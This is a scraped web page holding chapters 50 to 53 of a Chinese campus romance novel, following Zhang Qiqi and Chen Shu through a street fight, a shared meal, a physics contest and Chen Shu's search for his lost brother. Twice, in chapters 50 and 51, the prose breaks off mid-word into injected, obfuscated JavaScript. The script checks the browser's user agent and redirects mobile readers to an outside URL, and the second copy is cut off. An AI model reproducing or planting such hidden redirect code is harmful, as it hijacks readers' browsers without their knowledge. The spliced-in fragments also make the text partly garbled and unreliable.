他们瞬间愣住了,不是……这哪里来的小姑娘啊…… 趁着他们愣住的时候,张期期又下了几次黑手,拳拳到肉。 50. 第 50 章 - 眼前的世界熙熙攘攘,耳边吵吵嚷嚷着,喉咙里的血腥味翻涌,陈恕脑海里名为“理智”的那条线已经彻底崩断了。 然而对面那两个拉架的中年男人微微侧身,露出少女“恶狠狠”的面容时,陈恕脑子瞬间一片空白。 翻涌着的仇恨、愤怒突然原地消散,他心中蔓延起不真实的荒谬感。 期期? 期期怎么会在这里! 忙着下黑手的张期期似有所觉,她知晓大家应该发现她了,少女抬眸与满脸不可置信的少年对上眼,下一刻她绽放绚烂的笑容。 少女眼底带着无辜的笑意,仿佛那个一拳一拳揍人的不是她一样。 陈岩终于反应过来,他趁着身旁拉架的中年男人愣神的瞬间,立刻挣脱他们,反身伸出手将拽住张期期。 陈恕瞳孔一缩,“期期!” 张期期头一低,像只小狮子一样狠狠一撞,就把底盘不稳的陈岩撞到在地。 少年挣脱拦着他的中年男人,他向着她跑过来,张期期伸手拉住他往拥挤的人群而去,围观群众自发地让开一条道路供他们离开。 “快拦住他们!快拦住他们!这个死丫头,这事没完!” “不孝子,不孝子啊,我陈岩没这个儿子!” “……” 身后陈岩夫妻二人的咒骂声不绝于耳,但已经跑远的张期期、陈恕两人都没有听到了。 上瑶村的村民跟看笑话一样看着陈岩夫妻二人,有人打趣道:“人家也不认你这个爹啊!还没这个儿子……切~” “话说你们夫妻俩也是搞笑,连半大小子和小丫头都打不过!” 陈岩夫妻:…… ……你管那一米八多的叫半大小子?管那个死秤砣一样的怪力少女叫小丫头? 围观的和事佬打哈哈道,“别说了别说了,都是同村人,过来帮个手扶一下他们夫妻俩吧。” * 白昼与黑夜交替之际,少年骑着自行车载着身后的少女,傍晚的凉风从他们的耳边呼啸而过,他们骑过一盏又一盏昏黄的路灯,身影被拉得绵长,无限交叠。 远离了安置房小区,陈恕终于刹车将自行车停下。 夏日里遮天蔽日的大树在秋季已经掉光了所有的叶子,只剩下硕大的树干和光秃秃的枝桠狰狞着向天生长着。 枯黄的叶子铺陈在地面上,张期期跳下自行车后座时,一踩就烁烁响着。 路灯的光影穿过枝桠跳跃在少年的脸上,张期期仰着头看向他的眼底,那是毫不掩饰的狼狈和自弃。 “陈恕……”她走进一步,低声唤道。 陈恕猛然后退,少女伸出手想要揪住他的衣摆,却落了空。 他疏忽间转身走到硕大的树干前,将头抵在粗糙的树干上,他背对着她,他不知道以何种面目去面对她…… 少年仿佛恨不得融进树干里一样,谁也看不见他。 张期期望过去,树下他清瘦的身影似要被黑暗吞噬,她抬头望了一眼柔和的光源,随后一脚一脚坚定地朝他走过去。 烁烁声不绝于耳,陈恕的身体微微颤抖。 少女站在他身后伸手环抱住他,脸颊贴在他的后背上,她低声缓缓唤道,“陈恕……” 少年浑身僵硬,那一声“陈恕”似直击灵魂,带着强横的力度包裹住他崎岖不堪的灵魂。他似从中汲取到了力量。 陈恕缓缓转身垂头看她,她再次环抱着他,仰头与他对视着。 半响,她的眼神从怜惜转变为理直气壮,好像在说,我想抱就抱,怎么了! 陈恕突然笑了一下,张期期后退一步,拉着他站在光晕柔和的路灯下,“那里黑漆漆的,我都快看不清你的脸了。” 暖黄色的路灯下,少年脸上的擦伤非常明显,张期期伸了伸手却又不敢碰他。她缩回手,看了看四周,这里是学校附近。 “你是住在这附近吗?”张期期低声问道。 陈恕点了点头,“嗯。” “要不先回你家,你家里有碘酒、创可贴吗?” 陈恕闻言,盯着她摇了摇头。 “没有碘酒、创可贴这些吗?那得去药店买一下,你这个伤口还是处理一下比较好。”张期期一边说着,一边环顾四周,她在想着这附近哪里有药店。 陈恕:“不去我家。” 他不可能带她去他的出租屋,那里属于城中村,人多眼杂的,又是下瑶村的地儿,村里最会兴起流言蜚语,八卦闲谈。污言秽语绝不该和期期扯上任何一点关系。 张期期顿了下,“好。那我们先去药店。” 陈恕:“好。” 从药店里买了碘酒、创可贴和棉签之后,张期期拉着陈恕坐在药店门口那一排的椅子上,她用棉签沾了沾碘酒,轻轻地擦拭着他脸上的伤口,“可能会有点刺痛,我给你吹一吹。” 她一边小心翼翼地擦拭着伤口,一边轻轻地吹着伤口。 细密的痒意爬上他的心头,他脸上的擦伤只是他千疮百孔的身体上微不足道的伤痕而已,陈恕攥紧了指尖……被人珍视的感觉是如此令人着迷又惶恐。 他蓦然抓住张期期的手腕,抬眸紧紧地看着她,恍如在深海之中抓住了唯一的浮木。 张期期疑惑:“怎么?太疼了?” 陈恕顿了顿,收回手,他抿了抿唇,“你怎么会在那儿?”……你都看到了? 他问着,张期期这才想起来她是准备问问陈恕为什么躲她的,但见他现在这副狼狈的样子,她心中的气也散了几分。 张期期诶了一声,也跟着坐下来,她将沾了碘酒的棉签放下,开始撕着创可贴,阴阳怪气地道,“哎呀,有人呐连续躲了我一周,我可不得来问问到底怎么了,这给人判罪啊,也得有罪名不是!” 撕开创可贴,她用力地贴在他脸上,本以为会听到一声“嘶……”,没想到反而听到他低声说,“对不起”。 张期期顿了顿,心中的气顿时消散,想起她刚刚那么用力给他贴创可贴,便道:“你不痛吗?” “不痛。” 陈恕笑了笑,这对以前的他来说是家常便饭,甚至都不如那些曾经落在身上的疼痛。 张期期嘟囔道:“好吧,既然你道歉了,那我选择原谅你了,但你以后可不能再这样子了。” 陈恕点头,“好。” 他再也不会看她那些奇奇怪怪的书了,梦境无法受他控制,他只要不看那些书肯定不会再做乱七八糟的梦了。 即便只是梦,但陈恕觉得那也是对她的冒犯。 - 张期期将东西收好放进袋子里,而用过的棉签、创可贴的包装袋则被她扔到一旁的垃圾桶里。 她看着脸上贴着“多啦A梦”创可贴的陈恕,突然笑了出来,他长相精致好看,但总是一副冷冷淡淡的神色,可现在“多啦A梦”的创可贴破坏了他身上的冷清感、柔和了他尖锐的眼神。 现在的他啊……像一只可爱又别捏的小狗狗。 陈恕不解地望着她,不明白它为什么突然笑了……但他也跟着笑了。 片刻后,张期期突然问:“陈恕……你饿不饿?我饿了,我还没吃晚饭。” 陈恕自然也还没有吃,“那我们现在去吃?” “好。” 因为是周五放学,一中附近的餐饮一条街难以避免的冷清下来,有些店甚至早早关了门,街上也只有零零散散的一些学生,他们大多是一中高三的住校生。 馄炖店是仅剩的开着的店铺之一,店里还没有客人,饿得不行的张期期拉着陈恕直奔店里。 “老板,两份鲜肉馄饨。”张期期喊道。 店老板:“好咧”。 陈恕将椅子拉出,让期期坐下,这才又拉了一张椅子自己坐下。 几分钟后,店老板从后厨出来,他端着托盘来到他们的桌前,托盘上放了两碗馄饨,老板将馄饨放在张期期、陈恕面前,“来了来了……小心烫啊!” “好,谢谢老板。”张期期道。 店老板收起托盘,临走前看了一眼陈恕的脸,又回到了后厨。 张期期心急火燎地舀起一口馄饨吹了吹,放入嘴里,片刻后她顿了顿,看向陈恕。 陈恕:? “怎么了?不好吃吗?” 张期期咽下去,笑着道:“好吃,就是烫了点。” 陈恕点点头,“烫就多吹一会儿。” 说着,他也舀起一口放入嘴里嚼了两下,他看向张期期…… 张期期噗呲一声笑出来,“好吃吗?” 陈恕:……难以形容的味道。 他无奈地摇了摇头,“老板肉放得太少了,而且馄饨皮太厚了。” 张期期转身看了一眼后厨,小声道:“难怪老板要躲在后厨,难怪这家店没什么人,他这个馄饨皮真的好奇怪啊,厚就算了,外面口感硬,里面又黏糊糊的黏嘴巴。我都怀疑是不是没煮熟了。” 陈恕起身,“换一家吧。” 张期期将他拉着坐下来,“算了,别的店都好多人,还要等。凑合吃吧,下次别来这家店就是了。” 陈恕抿了抿唇,“嗯。” 店内冷冷清清的,就张期期和陈恕两人,后厨传来手机小视频的声音,张期期心里吐槽了一句,做得这么难吃,店里生意这么差,还有心情刷手机小视频!老板心态真是好。 过了最开始那火燎般的饥饿感后,张期期越吃越慢,她用勺子随意地舀起汤底喝着,余光扫向一口一个馄饨的陈恕。 ……吃得这么香,看不出来他觉得难吃啊! 七八分钟后,陈恕吃光了碗里的馄饨,连汤都喝了一大半,只剩下个汤底之后,他才放下了勺子。 见状,张期期也放下勺子,“我也吃完了……” 陈恕看了一眼她碗里还剩下一大半的馄饨一眼,他抿了抿唇。 张期期心中警铃作响,不会吧……他不会要让我吃完吧?可是真的……好难吃啊! 陈恕小声道:“下次我们真不来这家店了,我也吃得蛮……难的!” 张期期蓦然笑了出来,“那我们快走吧。” 陈恕付了钱之后,两人从馄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166084|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饨店里走出来,此时夜幕上浓云低垂,稀疏的星星闪烁着微弱的光芒。 餐饮一条街走出来后就是公交站,张期期打算在站台处打的士回家,她将拎着的袋子递给陈恕,“你的伤口暂时不要碰到水,大概过几天就会好了……” 陈恕接过,将其挂在自行车把手处,他余光扫了她一眼,点头“嗯”。 “陈恕……”张期期突然开口。 陈恕浑身紧绷,有一种终于来了的解脱感,“……嗯,怎么了?” 张期期笑了笑,“物理竞赛准备得怎么样了?什么时候开始考试啊?在哪里考啊?” 一连三问,陈恕愣住了……她原来想说的竟然是这个吗? 他一时间没有反应过来,好半响之后,陈恕才道:“这个月的25号是联赛,决赛在31号,本月最后一天。联赛的地点应该在省里的金中,决赛估计……首都吧。” 张期期边听边点头,“你怎么没说你准备得怎么样了啊?” 陈恕抿了抿唇,神色坦然,“我觉得没希望。” “啊?怎么会?你可是我们高二年级的第一啊!人家都喊你学神来着……”张期期惊讶道。 陈恕笑了笑,他从来就不是什么那种天赋型的人,要说真有天赋的,他身旁的张期期才是。单论理科,她能力甚至在他之上,而她被英语拉了后腿,重点一班又是一分就能拉开好几个名次的班级,所以张期期上次的考试才会排在全年级十五。 “联赛除了理论之外,还有实验部分,实验部分是我的弱项。这次联赛要选出省一、二、三名,都是优秀的对手,所以一分就能拉开差距了。” 陈恕推测道,“实验部分,我估计会落下十分的差距。所以……这一次对我来说,只能是试试水。我的目标在下一次。” “那也非常棒了!”张期期笑着道。 陈恕若无似无地点点头,他们快走到了餐饮一条街的尽头,主街道人声喧闹,偶有汽车飞驰而过。 “今天……”陈恕主动说起。 “今天的事你不想说,我就不问,更不会好奇揣测!还有我会保密的!”少女一下子旋身站到他的身前,伸手按住他的自行车迫使他停下来,她打断他的话,仰着头对着他说着,就差举手起誓了。 她这么“表忠心”,陈恕轻轻地笑了…… “不是。我想说的不是这个,我想说的是,下次……不、以后,以后不要再因为我把你自己置身于危险之中。” 不值得的,期期,你不知道陈岩的双手伸向你时,我有多惊恐。 张期期闻言,不满地哼了一声,“那不行,叫我看着你挨打,那我还是人吗?咱们还是……还是朋友吗?” 她理直气壮地瞪向他,“而且我力气那么大,一般人还真打不过我!一力降十会,你听过没?” 陈恕满眼无奈,“听过。” 他妥协了,“既然这样,那我以后也不会再做危险的事,这样你就不用救我了……行吗?” 张期期眉眼一扬,比了个“OK!” 公交车站台处颇为热闹,高三年级的住校生拎着大包小包的挤在站台处,他们的脚下也堆积着大大小小的行李箱。 学生们三三两两地讨论着各市模拟卷子的难易程度。 当张期期、陈恕走过来时,高三学生们时不时地瞥他们两人一眼,唔……准确来说,应该是看陈恕。 “哎……看那边那个男生,是不是就是我们这一届的校草校花离校之后,贴吧新选出来的校草,叫什么名字来着,陈、陈恕,是吧?” “好像是吧!不过……你居然有时间看贴吧,看来是试卷不够你做的啊?” “少来……我试卷做得人都麻木了,逛贴吧是我少数娱乐的项目了。” “哈哈哈……我懂!任何与高考无关的事情,多花点精力都会有负罪感是吧?哈哈哈……” 几个高三生难得地笑闹成一团,说着与高考、与试卷、与分数无关的事。 …… 混迹在他们之中的陈恕、期期一脸尴尬,等他们又继续说回学习上的事情后,两人才默契地松了一口气。 张期期:“你说,等我们高三的时候也会像他们这样子吗?” 陈恕沉默片刻,摇摇头,“我也不知道……” 话刚说完,人群一阵骚动,张期期、陈恕循着大家的视线望过去,不远处来了一趟公交车,公交车的旁边跟着一辆显示空车的出租车。 张期期招手,出租车、公交车先后停了下来。 高三的学生们一拥而上地走过张期期的身边,张期期道:“陈恕,我走了,拜拜……” 陈恕双手扶着自行车,“嗯,拜拜。” 他看着她上了出租车,片刻后,车窗缓缓降下来,隔着人海,张期期喊道:“陈恕……我平时不那样子的。” 那样子……陈恕笑了笑,他知道,她说,她平时不是打人时的那个样子。 路灯影影绰绰下,他轻声道:“期期……我知道。” 发动机轰鸣,出租车驶过,张期期没听见他的回答。 51. 第 51 章 - 晚上八点半左右,张期期才回到家。她推开家门就看到她妈妈坐在客厅看电视,“妈,我回来了。” 戚和风笑着点头,“在外面吃过了吗?” 她坐到戚和风的身边,抱着妈妈的手,把头靠在她肩膀上,笑着道,“嗯,吃过了。” 这时,莲姨从厨房出来,“太太,你的红枣燕窝汤炖好了。是现在吃吗?” 张期期惊喜道:“还有红枣燕窝汤?” 戚和风笑了,“不是说吃过了?” 张期期:“嗯,吃是吃过了,就是不那么好吃,没吃饱……” 莲姨一听,诶了一声,“有有有,我今天煮得多了点,我这就去端出来。” 莲姨端出来了两碗红枣燕窝汤,分别放在戚和风、张期期的桌面前。 戚和风看了一眼埋头吃着的张期期,道:“下次回来家里吃,家里煮的都是你爱吃的。” 张期期囫囵着点头,“知道了。” 她一口气将汤全部喝完,整个人靠在椅背上,眼睛巡视着家中,“妈……爸呢?他今晚没回来吃饭吗?” 戚和风一小勺一小勺地喝着,姿态优雅,她拿纸巾轻轻按了按嘴唇,“嗯,你爸今晚没回来吃饭,公司忙。” “这样啊……”张期期坐直起来,她微微探着头,笑意盈盈地看着戚和风,“妈,那我以后尽量都回家陪你吃饭。” 戚和风闻言,嘴角带上笑意,她心里高兴,但还是说道,“妈都这么大个人了,哪里还需要你陪,你现在这个年纪正是和朋友一起玩的时候,等你们都长大了,每个人都有自己的生活工作家庭,那时候就很难再凑到一起了。” 戚和风说着说着,面带怅然。 张期期眨了眨眼,“妈……那你的朋友呢?你现在每天在家里也没什么事,你可以去找朋友玩啊?” 戚和风顿了顿,“妈妈已经很久没和她们联系了,而且她们……也忙。” ……现在的她得知她们的消息都是从电视上媒体的报道,或者是手机上一些公众号的推送上得知的,她的朋友们踏上了曾经她们相约一起前往的国际舞台,将他们国家的戏曲文化推向国际。 夜晚。 张期期从卫生间洗漱出来之后,就开始埋头刷着各科目老师发的试卷,书桌前的窗帘微微飘动,她刷着刷着,突然一顿,不是……她好像忘了一件事。 ……陈恕自行车后面的那个粉色软垫到底是给谁的啊!! - 一晃眼,这场秋雨断断续续地下到了十月的尾声,全国五大学科的竞赛已经落下了帷幕,被选中的学生已经前往参加国家集训队了。 陈恕和周嘉先都没有进入决赛,二人在联赛的时候就被刷了。 联赛是在全省范围内选出省一、二、三的名次,京照一中高三年级的学长学姐占据了省一、省二的名额,省三被省金中高三年级的女生占据了。 张期期坐在陈恕自行车的后座上,她拍了拍粉色的软垫,眼神带笑。前阵子她已经问过了,这软垫就是陈恕安给她坐的。 少年骑在自行车车道上,他身后的少女发丝飞扬,张期期一手抓着陈恕的衣服,一手正别着飞起来的发丝。 一旁的车流拥堵着,慢速移动,汽车的鸣笛声此起彼伏…… 这时,陈恕的两旁突然蹿上来两辆自行车,与他的自行车并排行驶。 陈恕:…… 果不其然,就是许兰亭和林听。 许兰亭伸出一只手拍了拍张期期的脑袋,将她好不容易理顺的发丝揉乱,“要不,你也买一辆自行车,我们一起骑车上学啊。” 张期期愤怒地拍开他的手,“许兰亭!不要拍我脑袋!你怎么还是这么人嫌狗憎的样子,你长不大吗?” 陈恕斜着睨了一眼许兰亭,许兰亭连忙投降,“好好好,我认错我认错……不过,你真不买一辆自行车啊?我们一起骑车上学多好……” 张期期果断拒绝,“我不!骑自行车上学,我至少要早起40分钟,我才不要呢!反正到这段路,我总能遇见你们。咱们现在不就是一起骑车上学吗?” 林听听着,露出笑意,“期期说得对,我们现在就是一起骑车上学。” 许兰亭哈哈大笑,“什么骑车?期期你这明摆着就是蹭车!也亏了陈恕……”……每天都在堵车这段路这个点“巧合”出现。 陈恕侧首,眼神平静无波地盯了他一眼,许兰亭默默把未尽的话咽回了肚子里。 ……好吧,谁不是呢?这世界上哪里有那么多的巧合,巧合巧合……这些巧合不过是有心人费尽心思筹谋算出来的而已,如他许兰亭,如他陈恕…… * 在一场滂沱大雨之后,京照市连着两个星期都没有下雨,秋雨季节正式宣告结束。 与此同时,一场寒潮到来,京照市顺利入冬,一中的学生们穿上了加厚加绒的校服冲锋衣。 重点一班。 周嘉先早早地来到了教室,书本在他的桌面上摊开,他两手揣在校服的口袋里,双脚踮在地上,一抖一抖着。 教室的前后门,两侧的窗户全部被他关上了,但凛冽的寒风还是通过教室门底下的门缝吹进来。 教室外,陈恕、张期期、林听、许兰亭一行人一边抖着,一边快速地往教室走去,往常总要说说笑笑的他们此时都默不作声,谁也不想一张口就吃一肚子的风。 陈恕感受着寒风吹着的方向,悄悄地走到张期期的左前方,将泠冽的寒风挡掉一些。 许兰亭走得最快,到了教室后门前,他推开一小条门缝,让林听赶紧挤进去,随后他自己才挤了进去。 陈恕、张期期见状,也跟着从打开的小门缝挤进去,等几人都进了教室,陈恕立马将门关上。 坐在后门边上的同学一边搓着手,一边微笑道:“谢谢啊!” ……他坐在后门,教室里的同学来来往往的,教室门开开关关的,他一早上已经吹了无数次风了,许兰亭、陈恕这几人倒是心细,只打开了一小条门缝进来,免了他又被寒风刮一次。 许兰亭笑着拍了拍对方的肩膀,“小事。” 天气一冷,连椅子都硬邦邦、冷索索的。 许兰亭一坐下,瞬间嗷了一声,快速站起来,“这椅子太凉了,不敢坐不敢坐!” 张期期瞟了他一眼,嘲笑道,“谁让你大冬天的穿这么薄的裤子,你看我……” 她边说着,边示范着坐下,“……裤子厚就是无所畏惧,许兰亭!你绝对没有穿秋裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他拿过陈恕放在一旁的林听的水杯,学着陈恕接三分之一的冷水,三分之二的热水,神色忐忑道:“网站的网址我等会儿抄给你。不过……最好还是需要照片。小孩子一年不见,变化都很大了,别说是那么多年,你没有照片的话,会……更难的。” 陈恕点点头,“我知道。” 周嘉先心中无奈地叹了一口气,这件事儿其实是上回他们前往省金中参加联赛的时候,他无意中撞见的。 他姑姑在省里的日报社里当编辑,当时他想着既然到了省里,那就顺便去日报社一趟,看看他365天全年无休的姑姑,所以参加完联赛之后,他没有坐学校的大巴车返校,而是买了水果拎着上了公交车前往他姑姑的工作地点。 就是在那里,他撞见了陈恕,彼时的他正在咨询刊登寻人启事如何收费等问题,而他不小心听了个正着。 几个保温瓶都接好了水,陈恕、周嘉先回到了教室,将保温瓶一个个放在其他人的桌面上。 周嘉先撕了张A4纸,对照着手机,将几个网址抄了下来。 他起身走到陈恕的身边,压低声音道:“你有没有手机可以登陆这些网址?没有的话,要不你把寻人信息写在纸上,我帮你弄?” 陈恕犹豫片刻,还是低声道,“不用了,我有办法。” 周嘉先点头,“那行!有困难的话,可以找我!” 陈恕:“谢谢。” 前桌的许兰亭突然回过头来,一脸惊诧,这先哥和陈恕聊天居然这副架势? 他凑过来,神神秘秘道:“你们在说什么悄悄话,我也想听……” 陈恕:…… 周嘉先一手按住许兰亭的肩膀,给他转了回去,“没你的事,看你的书吧!” 52. 第 52 章 - 午休过后的第一节课是班主任张扬的语文课。 张扬穿着臃肿的羽绒服,腋下夹着教学资料推开门走进了重点一班的教室。 一进教室,他顿时皱起了眉头,鼻尖耸动着,他往讲台下望下去,教室内还有十几个同学还趴着睡觉呢! 张扬拍了拍桌子,“醒醒,醒醒!都起来了……上课铃声都响了,你们还睡!” 教室内学生们陆陆续续抬起头来,揉着眼睛,冬日臃肿的校服摩擦之间发出窸窸窣窣的声响。 这时,教室的后门悄悄打开了一条缝,许兰亭猫着腰抱着球准备偷偷溜回座位上。 将这一幕看在眼底的张扬:…… 他抱着胸,嘴角似笑非笑,“许兰亭!” 许兰亭脚步一顿,将他那颗存在感十足的篮球藏在身后,他笑着站直起身,一副“乖巧”的样子,“不好意思,老师!我迟到了!我没打报告是不想打断老师您说话!” 张扬哼了一声,看着学生被寒风吹得面色白白的脸庞,心中无奈,“得了得了,这些话你看我信吗?赶紧把你那颗球放到后面的柜子里去。” 许兰亭立刻道:“好的,老师。” 他将篮球塞进柜子里,随后一个箭步坐在了位置上,将课本翻开摊在桌面上,动作一气呵成。 张扬嘴角抽搐,顿了片刻后,他才吐槽道:“这大冬天的,外面风那么大,你还去打球!是不是午休都没睡,偷偷去打球了?许兰亭!再这样我要叫你家长了啊。” 许兰亭头一低,“对不起,老师!我错了。” 张扬:…… 他感觉自己好像一拳打在棉花上一样,张扬换上苦口婆心的语气,“天冷了,打球还是太危险了,地板冻得那么硬,能不去就不去的好。” 张扬说了一通之后,又拍了拍讲台,“把门窗都打开,通通风,透透气。” “啊——” 教室内顿时哀嚎声一片,“老师,太冷了……” 张扬眉头一皱,“你们都没闻到吗?教室里太臭了,你们把门窗关得这么紧。教室里人又多,味道太难闻了,快点!” “哪有?没有啊老师。” “我没闻到!” “……” 学生们耸动着鼻尖闻着,一个个否认到底。 张扬:“你们这是都闻习惯了,臭味都腌入味了!” 他边说着边将教室的前门大开,一股冷风瞬间席卷入教室,教室内吸气声此起彼伏。 张扬:…… 坐在窗边的同学不甘不愿地打开窗户,陈恕余光瞥了一眼使劲搓着双手的张期期,嘴唇抿了抿,他坐着不动埋头看书,仿佛完全没有听到张扬的话。 - 距离下课前的最后十五分钟,张扬布置了默写荀子《劝学》的任务。 下课铃声响起,张扬便道:“林听……等会儿你把他们的默写都交上来,拿到办公室去。” 林听点头,“好。” 几分钟后,她估摸着时间差不多了,于是从教室第一列第一排的位置开始收默写的A4纸。 等收到张期期的位置时,张期期笑着说,“林听,你先收别人的吧。” 林听看了一眼她已经默写好的短文,虽然不解,但还是绕过了她,先收别人的。 陈恕坐在教室里侧最角落的位置,所以他是最后一个被收的。 林听收完陈恕的A4纸之后,又默默地看向张期期,张期期言笑晏晏,这才将自己的A4纸递给林听。 许兰亭:? “期期,你干嘛啊?” 张期期笑了笑,“没干嘛,我就是想把我的作业和陈恕的放在一起呀。” 陈恕心脏猛地一跳,抿着唇侧首看向她,她双手托着脸庞,笑意盈盈地望着他。 四目相对之下,陈恕狼狈地率先移开视线,少女如此炙热的眼神,他完全招架不住…… 陈恕指尖微微攥紧,内心深处悄悄漫延上隐秘的窃喜,同时他却又惶恐无措,整个人坐立不安。 许兰亭一听,立刻道,“那我也要……”他说着声音越说越小,“我的作业和、和林听放一起。” 攥着一沓A4纸的林听顿了顿,沉默片刻后,她道:“收齐了,我去交给张老师。” 她转身往教室外走,许兰亭看着她的背影,有些后悔方才的脱口而出。 ……她生气也是正常的,明明是他答应了要做朋友的,就不该越界。 不远处,周嘉先反手手背撑着侧脸,默默做着吃瓜群众,哎……学生时代喜欢的人,连作业本放在一起都那么开心吗? 不懂喔……他摇了摇头。 林听沉默着走出教室,将教室门关上的那一瞬间,她淡漠的眼神中显露出一丝的挣扎。 少女绷着脸往前走着,走廊一侧的寒风刺骨,林听望向灰蒙的天际,去年的十一月中旬并没有现在这么冷,看来今年的冬天好像会很冷很冷吧…… 高二年级办公室就在眼前,林听蓦然停住了脚步。 半响,她低垂着的眼帘微微颤了颤,少女娴熟地将她那一页A4纸作业抽出来,放在了许兰亭的作业之上。 她缓缓呼出一口气,这才抬脚往办公室走去…… * 冬日的天总是暗得格外地早,五点多钟,天色渐渐昏沉,城市的路灯也早早地亮了起来。 放学铃声一响,整个一中顿时喧闹起来,学生们发出的嘈杂声响却是冬日里为数不多的亮色。 英语老师洪玲嘱咐了几声放学路上要小心之后就离开了教室。 “走了。”许兰亭和张期期等人摆了摆手,站在林听的身旁,此时的他完全没有几个小时前被拒绝时萎靡不振的样子,他又像一个充满热情的骑士一样护卫着她喜欢的女孩子。 “期期,明天见。”林听笑着道。 “明天见。” - 陈恕、张期期并肩着走在校园里,少年推着自行车走在冷风的上风口,企图用自己清瘦的身体为一侧的女孩子遮挡一些寒风。 校门口,陆向川微微扯着自己手臂上章圈,看向越走越近的两人。 当张期期走到他的身旁时,他早就将落在陈恕身上的质疑眼神收回来,转而看向张期期,神色温和自若,“期期……李叔在等你了。” 张期期下意识地望向学校外面,果然一眼就看到了站在汽车旁的李叔。她笑了笑,“嗯,我看到了。” “……今天你也值勤啊?”张期期随口问道。 “对,要值勤。”陆向川继续道:“风太大了,赶紧上车回去吧。” “好,再见。” “再见。期期。” 李叔看到她后,向她招了招手,张期期挥手回应后,便看向一旁的陈恕,低声道:“你等会儿是直接回家还是要去专卖店兼职啊?” 陈恕低声道:“我还要去 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他抿着唇,走向店里的前台处,前台的电脑上正播放着电视剧…… 屏幕上,年轻女人正伸手给年轻男人系着西装领带,嘴里边说道,「晚上下班早点回家,路上小心一点。」 很明显……这是一对小夫妻,妻子正在嘱咐即将要去上班的丈夫,这一画面……陈恕瞬间联想到刚才校门口时张期期给他拉衣服的链子。 夫妻…… 陈恕轰地一下子红了脸庞,他的心急剧地跳动着,下意识死死攥着手心,浑然不知A4纸小方块被他攥成一团。 店老板抬眼看了一下店内,却不见陈恕在店里自行车之间走动、巡视、打扫着…… 他愣了愣,环顾四周,这才发现陈恕红着脸,愣愣地站在他右侧身后。 店老板:? “陈恕,你呆站在做什么?” 陈恕闻声回过神来,感受着手心的异物感,他上前走了一步,“老板,你的电脑能借我用一下吗?我保证不占用上班的时间。” 此时距离上班时间还有十几分钟。 店老板盯着陈恕看了片刻,他慢吞吞地将视频软件关掉,让开位置,“用吧。上班之前搞定。” “谢谢老板。” 陈恕将手心的A4纸展开,上面是周嘉先抄给他的几个免费寻人网站,他顿了顿,指尖握着鼠标小心翼翼地挪动着到网址的位置。 少年手指生涩地按着键盘,对照着网址一个字母一个字母地敲上去。 回车键一按,寻人网站打开了,上面密密麻麻地挂着一桩桩寻人启事,从上传上去的照片看,寻人启事大多是老人和小孩。 陈恕眼帘微垂,遮住了眼底跃然而上的痛苦。 他填着寻人启事上的页面,名字、年龄、出生日期、性别、失踪当日穿着的衣服、长相特征……等等…… 回忆一幕幕倒带,那些刻骨铭心的记忆像潮水一样涌来,似乎要将他溺死在其中,窒息和绝望席卷着,在他心头漫延开来。 他的指尖抽搐着,身体不自觉地开始颤抖……那些痛苦永远不会褪色,时时如新。 他咬着牙,绷紧下颌角,用力地闭了闭双眼,继续在页面上填写着资料,一个网站又一个网站,他将希望寄托在这些网站上…… 弟弟,十一年了,你还在吗? 53. 第 53 章 - 周五早读课开始前,张扬站在讲台上宣布了一个消息,“今天下午第三节课开始,全校大扫除!” 教室内瞬间响起一阵嗷嗷叫声,有兴奋下午第三节课开始就可以不上课的,也有哀嚎着要动手做卫生的,还有的滴溜溜转动着眼珠子的,打着其他主意的。 张扬拍了拍讲台,强力将他们的骚乱镇压下来,他冷笑着盯着已经早早来到教室的学生们,一字一字地往外蹦着话,“一、个、都、不、许、溜!” 他从这批学生入校时就带着他们,这一次的全校大扫除是他们入高中以来的第三次集体卫生活动。 前两次…… 呵……张扬冷哼一声,这些个兔崽子跑得格外的快,前两次班里甚至偷偷溜了一半的人……这次,他会盯着他们,一个都别想溜! 张扬说完之后,早读课铃声正好响起…… 林听微微皱起眉头,望向一旁属于许兰亭的位置,他的位置上并没有人…… 张期期同样眼神诧异,她轻轻碰了碰林听的肩膀,低声道:“林听……兰亭怎么还没来上课?” 林听闻言微微一愣,为什么会问她? 她摇了摇头,“我不知道……平时他都会在路口那等着的,今天我在路口那里等了十多分钟,他都没有来。” ……当时她还以为他是终于认清了两人之间的差距,也终于累了那种“热脸贴冷屁股”的行为,失落和终于尘埃落定的坦然在她心中交织着,哪知道原来是他还没来学校……这一刻林听也说不出自己是什么心情。 就在两人费解的时候教室前门传来了声响,“报告……” 张扬闻声便道:“怎么迟……”迟到了…… 他侧头看向教室门口,未尽的话顿时消失,张扬脸色一变,连忙迎出去,他伸出手却又不敢触碰对方的打了石膏的左手臂,“这是怎么了?你这……” 许兰亭右手摸了摸后脑勺,笑着道:“没事,张老师,我就是摔了一跤。” 张扬恨铁不成钢地看着他,“是不是跑去打篮球摔的?” 许兰亭一顿,张老师猜得可真准! 眼看张扬的脸色越发难看,许兰亭那只完好的右边连忙摆了摆,否认道:“没有没有!不是不是!” 张扬冷哼一声,“进去吧。小心一点啊,不要碰到手臂了,还好你现在是高二,要是高三……可是会耽误高考的!” 许兰亭瞥了一眼“痛心疾首”的张扬,连忙溜进了教室。 他刚走进教室,林听、张期期见到他吊着一只手臂的样子顿时一愣,眼神担忧。 许兰亭坐在自己的位置上,低声朝右侧的林听道:“我没事,就是摔了一跤而已,这个手过几个月就好了。” 林听沉默地看着他,半响,她默默地点了点头。 张期期也听到了这句话,“兰亭你真的是……我怎么说你好,你肯定是大冬天的去打球了,现在天气这么冷,地面有时候会打滑的。你……懒得说你了!” 许兰亭噗呲一笑,“我说……张期期,你怎么和老班那么像啊,刚刚在门口他就是这么叨叨我的。” 张期期白了他一眼,骂道:“你管好你的手吧,小心一点,别再碰到了。” 林听也跟着点头,低声道:“嗯,你要小心一点,乱动的话,这个手很容易长不好的。” 